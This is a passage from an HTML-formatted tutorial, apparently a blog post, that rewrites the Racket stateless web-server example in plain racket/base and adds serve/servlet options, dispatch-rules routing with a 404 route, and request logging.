&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;serialize-stuffer&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;md5-stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;build-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;find-system-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'home-dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.urls&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;First we notice the #lang declaration. Racket libraries love to make
new "languages". These languages can include some entirely new syntax
(like the &lt;a href="http://docs.racket-lang.org/algol60/"&gt;Algol language implementation&lt;/a&gt;) or can simply include a
summary collection of libraries and alternative program entrypoints
(such as this web-server language provides). So the first thing we'll
do to really understand this code is to throw out the custom
language. And while we're at it, we'll throw out all typical imports
provided by the &lt;a href="http://docs.racket-lang.org/reference/"&gt;default racket language&lt;/a&gt; and use the racket/base
language instead. This will help us get a better understanding of the
Racket libraries and the functions we're using from these libraries.&lt;/p&gt;
&lt;p&gt;While we're throwing the language away, we notice the paragraphs just
below that &lt;a href="https://docs.racket-lang.org/web-server/stateless.html#%28part._stateless-example%29"&gt;original example&lt;/a&gt; in the manual. It mentions that the
web-server language also imports a bunch of modules. We can discover
which of these modules we actually need by searching in the Racket
manual for functions we've used.  For instance, &lt;a href="https://docs.racket-lang.org/search/index.html?q=response%2Fxexpr"&gt;searching&lt;/a&gt; for
"response/xexpr" tells us it's in the &lt;a href="https://docs.racket-lang.org/web-server/http.html#%28part._xexpr%29"&gt;web-server/http/xexpr&lt;/a&gt;
module. We'll import the modules we need using the "prefix-in" form to
make function-module connections explicit.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;racket/base&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xexpr:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http/xexpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;hash:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/stuffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;serialize:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/serialize&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;provide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'stateless&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stuffer:stuffer-chain&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;serialize:serialize-stuffer&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;hash:md5-stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;build-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;find-system-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'home-dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.urls&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we've got something that is a little less magical. We can run this
file by calling it: "racket server.rkt". But nothing happens. This is
because the web-server language would start the service itself using
the exported variables we provided. So we're going to have to figure
out what underlying function calls "start" and call it
ourselves. Unfortunately searching for "start" in the manual search
field yields nothing relevant. So we Google "racket web server
start". Down the page on the second &lt;a href="https://docs.racket-lang.org/web-server/run.html"&gt;search result&lt;/a&gt; we notice an
&lt;a href="https://docs.racket-lang.org/web-server/run.html#%28part._.Examples%29"&gt;example&lt;/a&gt; using the serve/servlet function to register the start
function.  This is our in.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;racket/base&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xexpr:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http/xexpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;hash:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/stuffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;serialize:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/stuffers/serialize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;servlet-env:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/servlet-env&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;provide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'stateless&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stuffer:stuffer-chain&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;serialize:serialize-stuffer&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;hash:md5-stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;build-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;find-system-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'home-dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.urls&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;servlet-env:serve/servlet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run this version and it works! We are directed to a browser with our
HTML.  But we should clean this code up a bit. We no longer need to
export anything so we'll drop the provide line. We aren't even using
the interface-version and stuffer code. Things seem to be fine without
them, so we'll drop those too.  Also, looking at the serve/servlet
&lt;a href="https://docs.racket-lang.org/web-server/run.html#%28def._%28%28lib._web-server%2Fservlet-env..rkt%29._serve%2Fservlet%29%29"&gt;documentation&lt;/a&gt; we notice some other nice arguments we can tack
on.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;racket/base&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xexpr:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http/xexpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;servlet-env:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/servlet-env&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;servlet-env:serve/servlet&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-regexp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rx&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:stateless?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;#t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ah, that's much cleaner. When you run this code, you will no longer be
directed to the /servlets/standalone.rkt path but to the site root --
set by the #:servlet-path optional variable. Also, every other path
you try to reach such as /foobar will successfully map to the start
function -- set by the #:servlet-regexp optional variable. Finally, we
also found the configuration to set the servlet stateless -- set by
the optional variable #:stateless?.&lt;/p&gt;
&lt;p&gt;But this is missing two things we could really use out of a simple web
service. The first is routing. We do that by looking up the
documentation for the &lt;a href="https://docs.racket-lang.org/web-server/dispatch.html"&gt;web-server/dispatch&lt;/a&gt; module. We'll use this
module to define some routes -- adding a 404 route to demonstrate the
usage.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;racket/base&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dispatch:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xexpr:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http/xexpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;servlet:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/servlet-env&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;not-found-route&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Uh-oh! Page not found.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;home-route&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!!!!!!!!!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define-values&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route-dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;route-url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;dispatch:dispatch-rules&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;home-route&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;not-found-route&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;servlet:serve/servlet&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;route-dispatch&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-regexp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;rx&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:stateless?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;#t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run this version and check out the server root. Then try any other
path. Looks good.  The final missing piece to this simple web service
is logging. Thankfully, the &lt;a href="https://docs.racket-lang.org/web-server-internal/dispatch-log.html"&gt;web-server/dispatch-log&lt;/a&gt; module has
us covered with some request formatting functions. So we'll wrap the
route-dispatch function and we'll print out the formatted request.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;racket/base&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dispatch:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dispatch-log:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/dispatchers/dispatch-log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xexpr:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http/xexpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;prefix-in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;servlet:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/servlet-env&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;not-found-route&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
